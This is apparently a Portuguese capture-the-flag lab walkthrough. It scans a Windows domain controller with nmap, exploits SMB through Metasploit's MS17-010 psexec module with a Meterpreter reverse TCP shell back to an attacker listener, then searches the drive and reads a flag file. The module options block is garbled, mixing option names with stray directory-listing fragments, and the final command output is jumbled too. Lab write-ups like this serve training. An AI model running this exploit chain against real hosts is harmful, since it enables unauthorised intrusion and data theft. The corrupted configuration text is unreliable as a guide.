

172.16.1.233

KEY: `key{met45pl0it1337}`

+ Quando fizemos a busca com o nmap pelas portas e serviços abertos, encontramos o seguinte:

```
db_nmap -v -sV --open -Pn 172.16.1.233
```

```
Nmap: PORT      STATE SERVICE      VERSION
Nmap: 53/tcp    open  domain       Simple DNS Plus
Nmap: 80/tcp    open  http         Microsoft IIS httpd 8.5
Nmap: 88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-05 17:21:44Z)
Nmap: 135/tcp   open  msrpc        Microsoft Windows RPC
Nmap: 139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
Nmap: 389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: DHCE.LOCAL, Site: Default-First-Site-Name)
Nmap: 445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: DHCE)
Nmap: 464/tcp   open  kpasswd5?    Microsoft Windows RPC
Nmap: 593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
Nmap: 636/tcp   open  tcpwrapped
Nmap: 3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: DHCE.LOCAL, Site: Default-First-Site-Name)
Nmap: 3269/tcp  open  tcpwrapped
Nmap: 3389/tcp  open  ssl/ms-wbt-server?
Nmap: 49155/tcp open  msrpc        Microsoft Windows RPC
Nmap: 49156/tcp open  msrpc        Microsoft Windows RPC
Nmap: 49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
Nmap: 49158/tcp open  unknown
```

→ Com isso, vendo a porta 445 aberta, vamos atacar o smb

+ Ao procurar exploits apropriados, encontramos o exploit/windows/smb/ms17_010_psexec no qual setamos o seguinte payload windows/meterpreter/reverse_tcp

+ Setamos as seguintes configurações:

```

DBGTRACE 06:53 PM false 28,160 wcmapi.yes Show extra
LEAKATTEMPTS 37 PM 99 34,304 WcsPlugyeservice.How many t
/21/2013 07:02 PM 1,277,952 wdc.dll transaction
NAMEDPIPE 07:39 AM <DIR> wdi no A named pi
/21/2013 06:47 PM 80,896 wdi.dll ed to (lea
NAMED_PIPES 55 PM /usr/share/metasploit.yesl List of na
/21/2013 06:36 PM t-framework/data/word.dr
/22/2013 05:25 AM dlists/named_pipes.tre.dll
/26/2018 06:51 PM xt 813,568 WebcamUi.dll
RHOSTS 3 07:01 PM 172.16.1.23334 webchecyesll The target
/21/2013 06:44 PM 400,896 webio.dll docs.metas
/21/2013 09:21 PM 1,085,152 webservice.dll etasploit/
/21/2013 06:54 PM 35,328 Websocket.dll t.html
RPORT 13 06:50 PM 445 63,488 wecapi.yes The Target
SERVICE_DESCRIPTION 80,384 wecutilnoxe Service de
/30/2013 01:34 PM 427,096 wer.dll n target f
SERVICE_DISPLAY_NAME 33,280 werdiagnocontroller The servic
E 0/2013 01:34 PM 408,480 WerFault.exe
SERVICE_NAME 24 PM 33,064 WerFaultnoecure.exe The servic
SHARE 13 06:24 PM ADMIN$ 137,352 wermgr.yes The share
/21/2013 07:27 PM 159,232 werui.dll an admin s
/21/2013 09:30 PM 308,848 wevtapi.dll r a normal
/21/2013 08:01 PM 83,968 wevtfwd.dll re
SMBDomain 06:43 PM . 176,640 wevtutinoexe The Window
/21/2013 08:01 PM 139,264 wextract.exe thenticati
SMBPass 04:25 AM 115,091 WF.msc no The passwo
/21/2013 06:49 PM 19,456 wfapigp.dll sername
SMBUser 06:19 PM 65,024 WfHC.dlno The userna
/21/2013 07:55 PM 34,816 where.exe
/21/2013 06:54 PM 11,776 whhelper.dll
payload options (windows/meterpreter/reverse_tcp):
/26/2018 06:51 PM 85,504 wiaacmgr.exe
Name 018 0 Current Setting Required wDescription
/21/2013 06:51 PM 13,984 wimagehlp.dll
EXITFUNC 0 thread M yes 2,128 wExit technique (Accepted:
/26/2018 06:50 PM 88,064 wss,(none)files.dll
LHOST 18 0 172.20.1.182 yes 1,344 wThe listen address (an int
/26/2018 06:50 PM 14,848 wd)trace.dll
LPORT 13 0 4434 PM yes 3,896 wThe listen port
/21/2013 06:49 PM 73,728 winbio.dll

```

+ E daí demos um **exploit** pra ele começar a funcionar e deu certo.

+ Quando iniciou, demos o comando **shell** pra que ele nos levasse direto pra shell do windows e lá retornamos até a raiz com o **cd /** e depois pesquisamos por arquivos txt da seguinte forma

```
dir /s /b C:\*.txt
```

/s pesquisa por subdiretórios

/b mostra apenas o caminho do arquivo

+ Até que achamos um com chances altas:

```
C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\...  
C:\Users\Administrator\Desktop\confidencial.txt  
C:\Users\All Users\VMware\VMware CAE\ome\data\inn...
```

+ Fomos até lá e abrimos o documento com o `type`, pelo fato de o comando `cat` não funcionar no nosso acesso do windows

```
C:\Users\Administrator\Desktop>type |confidencial.txt  
type confidencial.txtcode\Collate\keys.txt  
Muito bem!  
C:\>type confidencial.txt  
Use a key para pontuar no vlab.  
The system cannot find the file specified.  
key{met45pl0it1337}
```